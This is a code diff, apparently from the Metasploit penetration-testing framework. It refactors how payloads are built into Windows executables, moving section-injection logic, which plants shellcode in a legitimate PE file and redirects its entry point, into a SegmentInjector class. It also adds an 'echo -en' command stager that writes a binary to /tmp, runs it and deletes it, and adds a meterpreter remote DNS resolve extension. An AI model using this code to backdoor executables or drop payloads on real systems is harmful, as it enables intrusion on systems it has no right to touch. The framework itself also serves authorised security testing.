print_error("Invalid host parameter, #{arg}.") print_error("Invalid host parameter, #{arg}.")
return return false
end
if rw.valid?
host_ranges << rw
else
print_error("Invalid host parameter, #{arg}.")
return false
end end
return true return true
end end

View File

@ -16,6 +16,7 @@ require 'rex/pescan'
require 'rex/zip' require 'rex/zip'
require 'metasm' require 'metasm'
require 'digest/sha1' require 'digest/sha1'
require 'msf/core/exe/segment_injector'
## ##
# #
@ -66,6 +67,7 @@ require 'digest/sha1'
return template % hash_sub return template % hash_sub
end end
## ##
# #
# Executable generators # Executable generators
@ -185,80 +187,12 @@ require 'digest/sha1'
#try to inject code into executable by adding a section without affecting executable behavior #try to inject code into executable by adding a section without affecting executable behavior
if(opts[:inject]) if(opts[:inject])
if endjunk injector = Msf::Exe::SegmentInjector.new({
raise RuntimeError, "Junk at end of file. Is this a packed exe?" :payload => code,
end :template => opts[:template],
:arch => :x86
#find first section file offset and free RVA for new section })
free_rva = pe.hdr.opt.AddressOfEntryPoint exe = injector.generate_pe
first_off = sections_end
pe.sections.each do |sec|
first_off = sec.file_offset if sec.file_offset < first_off
free_rva = sec.raw_size + sec.vma if sec.raw_size + sec.vma > free_rva
end
#align free_rva
free_rva += (pe.hdr.opt.SectionAlignment-(free_rva % pe.hdr.opt.SectionAlignment)) % pe.hdr.opt.SectionAlignment
#See if we can add a section
first_sechead_file_off = pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + pe.hdr.file.SizeOfOptionalHeader
new_sechead_file_off = first_sechead_file_off + pe.hdr.file.NumberOfSections * Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER
if new_sechead_file_off + Rex::PeParsey::PeBase::IMAGE_SIZEOF_SECTION_HEADER > first_off
raise RuntimeError, "Not enough room for new section header"
end
# figure out where in the new section to put the start. Right now just putting at the beginning of the new section
start_rva = free_rva
#make new section, starting at free RVA
new_sec = win32_rwx_exec_thread(code, pe.hdr.opt.AddressOfEntryPoint - start_rva)
#pad to file alignment
new_sec += "\x00" * (pe.hdr.opt.SectionAlignment-(new_sec.length % pe.hdr.opt.SectionAlignment))
#make new section header
new_sechead = Rex::PeParsey::PeBase::IMAGE_SECTION_HEADER.make_struct
new_sechead.v['Name'] = Rex::Text.rand_text_alpha(4)+"\x00"*4 # no name
new_sechead.v['Characteristics'] = 0x60000020 # READ, EXECUTE, CODE
new_sechead.v['VirtualAddress'] = free_rva
new_sechead.v['SizeOfRawData'] = new_sec.length
new_sechead.v['PointerToRawData'] = sections_end
# Create the modified version of the input executable
exe = ''
File.open(opts[:template], 'rb') { |fd|
exe = fd.read(fd.stat.size)
}
#New file header with updated number of sections and timedatestamp
new_filehead = Rex::PeParsey::PeBase::IMAGE_FILE_HEADER.make_struct
new_filehead.from_s(exe[pe.hdr.dos.e_lfanew, Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE])
new_filehead.v['NumberOfSections'] = pe.hdr.file.NumberOfSections + 1
new_filehead.v['TimeDateStamp'] = pe.hdr.file.TimeDateStamp - rand(0x1000000)
exe[pe.hdr.dos.e_lfanew, new_filehead.to_s.length] = new_filehead.to_s
#new optional header with new entry point, size of image, and size of code
new_opthead = Rex::PeParsey::PeBase::IMAGE_OPTIONAL_HEADER32.make_struct
new_opthead.from_s(exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader])
new_opthead.v['AddressOfEntryPoint'] = start_rva
new_opthead.v['SizeOfImage'] = free_rva + new_sec.length
new_opthead.v['SizeOfCode'] = pe.hdr.opt.SizeOfCode + new_sec.length
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE, pe.hdr.file.SizeOfOptionalHeader] = new_opthead.to_s
#kill bound import table; if it exists, we probably overwrote it with our new section and they dont even need it anyway
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 184, 8] = "\x00"*8
#kill certificate; if it exists, we just invalidated it
exe[pe.hdr.dos.e_lfanew + Rex::PeParsey::PeBase::IMAGE_FILE_HEADER_SIZE + 128, 8] = "\x00"*8
#new section header and new section
exe[new_sechead_file_off, new_sechead.to_s.length] = new_sechead.to_s
exe[new_sechead.v['PointerToRawData'], new_sec.length] = new_sec
exe.slice!((new_sechead.v['PointerToRawData'] + new_sec.length)..-1)
cks = pe.hdr.opt.CheckSum
if(cks != 0)
exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
end
pe.close
return exe return exe
end end
@ -458,168 +392,100 @@ require 'digest/sha1'
return pe return pe
end end
def self.to_win32pe_exe_sub(framework, code, opts={}) def self.exe_sub_method(code,opts ={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
pe = '' pe = ''
File.open(opts[:template], "rb") { |fd| File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size) pe = fd.read(fd.stat.size)
} }
bo = pe.index('PAYLOAD:') case opts[:exe_type]
raise RuntimeError, "Invalid Win32 PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo when :service_exe
max_length = 8192
name = opts[:servicename]
if (code.length <= 4096) if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
when :dll
max_length = 2048
when :exe_sub
max_length = 4096
end
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= max_length)
pe[bo, code.length] = [code].pack("a*") pe[bo, code.length] = [code].pack("a*")
else else
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module" raise RuntimeError, "The EXE generator now has a max size of #{max_length} bytes, please fix the calling module"
end
if opts[:exe_type] == :dll
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
end end
return pe return pe
end end
def self.to_win32pe_exe_sub(framework, code, opts={})
# Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.exe")
opts[:exe_type] = :exe_sub
exe_sub_method(code,opts)
end
def self.to_win64pe(framework, code, opts={}) def self.to_win64pe(framework, code, opts={})
# Allow the user to specify their own EXE template # Allow the user to specify their own EXE template
set_template_default(opts, "template_x64_windows.exe") set_template_default(opts, "template_x64_windows.exe")
#try to inject code into executable by adding a section without affecting executable behavior
pe = '' if(opts[:inject])
File.open(opts[:template], "rb") { |fd| injector = Msf::Exe::SegmentInjector.new({
pe = fd.read(fd.stat.size) :payload => code,
} :template => opts[:template],
:arch => :x64
bo = pe.index('PAYLOAD:') })
raise RuntimeError, "Invalid Win64 PE EXE template: missing \"PAYLOAD:\" tag" if not bo exe = injector.generate_pe
return exe
if (code.length <= 4096)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 4096 bytes, please fix the calling module"
end end
opts[:exe_type] = :exe_sub
return pe exe_sub_method(code,opts)
end end
def self.to_win32pe_service(framework, code, opts={}) def self.to_win32pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template # Allow the user to specify their own service EXE template
set_template_default(opts, "template_x86_windows_svc.exe") set_template_default(opts, "template_x86_windows_svc.exe")
opts[:exe_type] = :service_exe
pe = '' exe_sub_method(code,opts)
File.open(opts[:template], 'rb') { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 8192)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
end
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win32 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
end end
def self.to_win64pe_service(framework, code, opts={}) def self.to_win64pe_service(framework, code, opts={})
name = opts[:servicename]
# Allow the user to specify their own service EXE template # Allow the user to specify their own service EXE template
set_template_default(opts, "template_x64_windows_svc.exe") set_template_default(opts, "template_x64_windows_svc.exe")
opts[:exe_type] = :service_exe
pe = '' exe_sub_method(code,opts)
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 8192)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 8192 bytes, please fix the calling module"
end
if name
bo = pe.index('SERVICENAME')
raise RuntimeError, "Invalid Win64 PE Service EXE template: missing \"SERVICENAME\" tag" if not bo
pe[bo, 11] = [name].pack('a11')
end
if not opts[:sub_method]
pe[136, 4] = [rand(0x100000000)].pack('V')
end
return pe
end end
def self.to_win32pe_dll(framework, code, opts={}) def self.to_win32pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template # Allow the user to specify their own DLL template
set_template_default(opts, "template_x86_windows.dll") set_template_default(opts, "template_x86_windows.dll")
opts[:exe_type] = :dll
pe = '' exe_sub_method(code,opts)
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win32 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
end end
def self.to_win64pe_dll(framework, code, opts={}) def self.to_win64pe_dll(framework, code, opts={})
# Allow the user to specify their own DLL template # Allow the user to specify their own DLL template
set_template_default(opts, "template_x64_windows.dll") set_template_default(opts, "template_x64_windows.dll")
opts[:exe_type] = :dll
pe = '' exe_sub_method(code,opts)
File.open(opts[:template], "rb") { |fd|
pe = fd.read(fd.stat.size)
}
bo = pe.index('PAYLOAD:')
raise RuntimeError, "Invalid Win64 PE DLL template: missing \"PAYLOAD:\" tag" if not bo
if (code.length <= 2048)
pe[bo, code.length] = [code].pack("a*")
else
raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
end
# optional mutex
mt = pe.index('MUTEX!!!')
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
return pe
end end
def self.to_osx_arm_macho(framework, code, opts={}) def self.to_osx_arm_macho(framework, code, opts={})

View File

@ -280,7 +280,7 @@ class RbMysql
# In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'. # In Ruby 1.8, this is not safe for multibyte charset such as 'SJIS'.
# You should use place-holder in prepared-statement. # You should use place-holder in prepared-statement.
def escape_string(str) def escape_string(str)
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
case s case s
when "\0" then "\\0" when "\0" then "\\0"
when "\n" then "\\n" when "\n" then "\\n"

View File

@ -32,7 +32,7 @@ class RbMysql
alias get_client_info client_info alias get_client_info client_info
def escape_string(str) def escape_string(str)
str.gsub(/[\0\n\r\\\'\"\x1a]/) do |s| str.gsub(/[\0\n\r\\\'\"\x1a]/n) do |s|
case s case s
when "\0" then "\\0" when "\0" then "\\0"
when "\n" then "\\n" when "\n" then "\\n"

View File

@ -5272,7 +5272,7 @@ module RbReadline
# Actually update the display, period. # Actually update the display, period.
def rl_forced_update_display() def rl_forced_update_display()
if (@visible_line) if (@visible_line)
@visible_line.gsub!(/[^\x00]/,0.chr) @visible_line.gsub!(/[^\x00]/n,0.chr)
end end
rl_on_new_line() rl_on_new_line()
@forced_display=true if !@forced_display @forced_display=true if !@forced_display
@ -8520,7 +8520,7 @@ module RbReadline
count -= 1 count -= 1
end end
str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/,'') : string str = (flags == MB_FIND_NONZERO) ? string.sub(/\x00+$/n,'') : string
case @encoding case @encoding
when 'E' when 'E'

View File

@ -6,3 +6,4 @@ require 'rex/exploitation/cmdstager/debug_write'
require 'rex/exploitation/cmdstager/debug_asm' require 'rex/exploitation/cmdstager/debug_asm'
require 'rex/exploitation/cmdstager/tftp' require 'rex/exploitation/cmdstager/tftp'
require 'rex/exploitation/cmdstager/bourne' require 'rex/exploitation/cmdstager/bourne'
require 'rex/exploitation/cmdstager/echo'

View File

@ -0,0 +1,113 @@
# -*- coding: binary -*-
require 'rex/text'
require 'rex/arch'
require 'msf/core/framework'
require 'shellwords'
module Rex
module Exploitation
class CmdStagerEcho < CmdStagerBase
def initialize(exe)
super
@var_elf = Rex::Text.rand_text_alpha(5)
end
#
# Override to ensure opts[:temp] is a correct *nix path
#
def generate(opts = {})
opts[:temp] = opts[:temp] || '/tmp/'
opts[:temp].gsub!(/\\/, "/")
opts[:temp] = opts[:temp].shellescape
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
super
end
#
# Override to set the extra byte count
#
def generate_cmds(opts)
# Set the start/end of the commands here (vs initialize) so we have @tempdir
@cmd_start = "echo -en "
@cmd_end = ">>#{@tempdir}#{@var_elf}"
xtra_len = @cmd_start.length + @cmd_end.length + 1
opts.merge!({ :extra => xtra_len })
super
end
#
# Encode into a "\\x55\\xAA" hex format that echo understands, where
# interpretation of backslash escapes are enabled
#
def encode_payload(opts)
return Rex::Text.to_hex(@exe, "\\\\x")
end
#
# Combine the parts of the encoded file with the stuff that goes
# before ("echo -en ") / after (">>file") it.
#
def parts_to_commands(parts, opts)
parts.map do |p|
cmd = ''
cmd << @cmd_start
cmd << p
cmd << @cmd_end
cmd
end
end
#
# Since the binary has been already dropped to fs, just execute and
# delete it
#
def generate_cmds_decoder(opts)
cmds = []
# Make it all happen
cmds << "chmod +x #{@tempdir}#{@var_elf}"
cmds << "#{@tempdir}#{@var_elf}"
# Clean up after unless requested not to..
unless opts[:nodelete]
cmds << "rm -f #{@tempdir}#{@var_elf}"
end
return cmds
end
#
# Override it to ensure that the hex representation of a byte isn't cut
#
def slice_up_payload(encoded, opts)
encoded_dup = encoded.dup
parts = []
xtra_len = opts[:extra]
xtra_len ||= 0
while (encoded_dup.length > 0)
temp = encoded_dup.slice(0, (opts[:linemax] - xtra_len))
# cut the end of the part until we reach the start
# of a full byte representation "\\xYZ"
while (temp.length > 0 && temp[-5, 3] != "\\\\x")
temp.chop!
end
parts << temp
encoded_dup.slice!(0, temp.length)
end
parts
end
def cmd_concat_operator
" ; "
end
end
end
end

View File

@ -116,7 +116,7 @@ module Rex
if query if query
@state[:query] = "?#{query}" # Can be nil @state[:query] = "?#{query}" # Can be nil
end end
if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/ if path =~ /https?:[\x5c\x2f][\x5c\x2f]+[^\x5c\x2f][^\x5c\x2f]+([^?]+)/n
real_path = "/#{$1}" real_path = "/#{$1}"
else else
real_path = path real_path = path

View File

@ -55,6 +55,7 @@ module Rex
end end
# Reset the state once we close a host # Reset the state once we close a host
@state.delete_if {|k| k != :current_tag} @state.delete_if {|k| k != :current_tag}
@report_data = {:wspace => args[:wspace]}
when "Port" when "Port"
@state[:has_text] = false @state[:has_text] = false
collect_port collect_port

View File

@ -176,7 +176,7 @@ module Rex
:os_family => os_family, :os_family => os_family,
:os_version => os_version, :os_version => os_version,
:os_accuracy => 100, :os_accuracy => 100,
:os_match => os_info.gsub(/\x2e$/,"") :os_match => os_info.gsub(/\x2e$/n,"")
} }
end end
end end

View File

@ -1627,8 +1627,8 @@ class PeBase
if (rname & 0x80000000 != 0) if (rname & 0x80000000 != 0)
rname &= ~0x80000000 rname &= ~0x80000000
unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ] unistr = data[rname+2, 2 * data[rname,2].unpack('v')[0] ]
unistr, trash = unistr.split(/\x00\x00/, 2) unistr, trash = unistr.split(/\x00\x00/n, 2)
return unistr ? unistr.gsub(/\x00/, '') : nil return unistr ? unistr.gsub(/\x00/n, '') : nil
end end
rname.to_s rname.to_s

View File

@ -38,7 +38,7 @@ class Section
return nil if !_section_header return nil if !_section_header
# FIXME make this better... # FIXME make this better...
_section_header.v['Name'].gsub(/\x00+$/, '') _section_header.v['Name'].gsub(/\x00+$/n, '')
end end
def flags def flags

View File

@ -4,6 +4,9 @@
require 'rex/post/meterpreter/packet' require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/extension' require 'rex/post/meterpreter/extension'
require 'rex/post/meterpreter/client' require 'rex/post/meterpreter/client'
# Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace.
require 'msf/core/payload/windows' require 'msf/core/payload/windows'
module Rex module Rex
@ -147,7 +150,7 @@ class ClientCore < Extension
end end
# Get us to the installation root and then into data/meterpreter, where # Get us to the installation root and then into data/meterpreter, where
# the file is expected to be # the file is expected to be
path = ::File.join(Msf::Config.install_root, 'data', 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}") path = ::File.join(Msf::Config.data_directory, 'meterpreter', 'ext_server_' + mod.downcase + ".#{client.binary_suffix}")
if (opts['ExtensionPath']) if (opts['ExtensionPath'])
path = opts['ExtensionPath'] path = opts['ExtensionPath']
@ -209,7 +212,7 @@ class ClientCore < Extension
# Include the appropriate reflective dll injection module for the target process architecture... # Include the appropriate reflective dll injection module for the target process architecture...
if( process['arch'] == ARCH_X86 ) if( process['arch'] == ARCH_X86 )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
binary_suffix = "dll" binary_suffix = "x86.dll"
elsif( process['arch'] == ARCH_X86_64 ) elsif( process['arch'] == ARCH_X86_64 )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 ) c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
binary_suffix = "x64.dll" binary_suffix = "x64.dll"
@ -219,7 +222,7 @@ class ClientCore < Extension
# Create the migrate stager # Create the migrate stager
migrate_stager = c.new() migrate_stager = c.new()
migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.install_root, "data", "meterpreter", "metsrv.#{binary_suffix}" ) migrate_stager.datastore['DLL'] = ::File.join( Msf::Config.data_directory, "meterpreter", "metsrv.#{binary_suffix}" )
blob = migrate_stager.stage_payload blob = migrate_stager.stage_payload
@ -297,7 +300,7 @@ class ClientCore < Extension
client.binary_suffix = 'x64.dll' client.binary_suffix = 'x64.dll'
else else
client.platform = 'x86/win32' client.platform = 'x86/win32'
client.binary_suffix = 'dll' client.binary_suffix = 'x86.dll'
end end
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix) # Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)

View File

@ -46,11 +46,7 @@ class Priv < Extension
elevator_name = Rex::Text.rand_text_alpha_lower( 6 ) elevator_name = Rex::Text.rand_text_alpha_lower( 6 )
if( client.platform == 'x64/win64' ) elevator_path = ::File.join( Msf::Config.data_directory, "meterpreter", "elevator.#{client.binary_suffix}" )
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.x64.dll" )
else
elevator_path = ::File.join( Msf::Config.install_root, "data", "meterpreter", "elevator.dll" )
end
elevator_path = ::File.expand_path( elevator_path ) elevator_path = ::File.expand_path( elevator_path )

View File

@ -11,6 +11,14 @@
# #
### ###
##
#
# Net
#
##
AF_INET = 2
AF_INET6 = 23
## ##
# #
# Permissions # Permissions

View File

@ -0,0 +1,107 @@
#!/usr/bin/env ruby
# -*- coding: binary -*-
require 'rex/post/meterpreter/extensions/stdapi/tlv'
module Rex
module Post
module Meterpreter
module Extensions
module Stdapi
module Net
###
#
# This class provides DNS resolution from the perspective
# of the remote host.
#
###
class Resolve
##
#
# Constructor
#
##
#
# Initializes a Resolve instance that is used to resolve network addresses
# on the remote machine.
#
def initialize(client)
self.client = client
end
def resolve_host(hostname, family=AF_INET)
request = Packet.create_request('stdapi_net_resolve_host')
request.add_tlv(TLV_TYPE_HOST_NAME, hostname)
request.add_tlv(TLV_TYPE_ADDR_TYPE, family)
response = client.send_request(request)
type = response.get_tlv_value(TLV_TYPE_ADDR_TYPE)
raw = response.get_tlv_value(TLV_TYPE_IP)
return raw_to_host_ip_pair(hostname, raw, type)
end
def resolve_hosts(hostnames, family=AF_INET)
request = Packet.create_request('stdapi_net_resolve_hosts')
request.add_tlv(TLV_TYPE_ADDR_TYPE, family)
hostnames.each do |hostname|
request.add_tlv(TLV_TYPE_HOST_NAME, hostname)
end
response = client.send_request(request)
hosts = []
raws = []
types = []
response.each(TLV_TYPE_IP) do |raw|
raws << raw
end
response.each(TLV_TYPE_ADDR_TYPE) do |type|
types << type
end
0.upto(hostnames.length - 1) do |i|
raw = raws[i]
type = types[i]
host = hostnames[i]
hosts << raw_to_host_ip_pair(host, raw.value, type.value)
end
return hosts
end
def raw_to_host_ip_pair(host, raw, type)
if raw.nil? or host.nil?
return nil
end
if raw.empty?
ip = ""
else
if type == AF_INET
ip = Rex::Socket.addr_ntoa(raw[0..3])
else
ip = Rex::Socket.addr_ntoa(raw[0..16])
end
end
result = { :hostname => host, :ip => ip }
return result
end
protected
attr_accessor :client # :nodoc:
end
end; end; end; end; end; end

View File

@ -8,6 +8,7 @@ require 'rex/post/meterpreter/extensions/stdapi/tlv'
require 'rex/post/meterpreter/extensions/stdapi/fs/dir' require 'rex/post/meterpreter/extensions/stdapi/fs/dir'
require 'rex/post/meterpreter/extensions/stdapi/fs/file' require 'rex/post/meterpreter/extensions/stdapi/fs/file'
require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat' require 'rex/post/meterpreter/extensions/stdapi/fs/file_stat'
require 'rex/post/meterpreter/extensions/stdapi/net/resolve'
require 'rex/post/meterpreter/extensions/stdapi/net/config' require 'rex/post/meterpreter/extensions/stdapi/net/config'
require 'rex/post/meterpreter/extensions/stdapi/net/socket' require 'rex/post/meterpreter/extensions/stdapi/net/socket'
require 'rex/post/meterpreter/extensions/stdapi/sys/config' require 'rex/post/meterpreter/extensions/stdapi/sys/config'
@ -69,7 +70,8 @@ class Stdapi < Extension
'ext' => ObjectAliases.new( 'ext' => ObjectAliases.new(
{ {
'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client), 'config' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config.new(client),
'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client) 'socket' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client),
'resolve' => Rex::Post::Meterpreter::Extensions::Stdapi::Net::Resolve.new(client)
}) })
}, },
{ {

Some files were not shown because too many files have changed in this diff Show More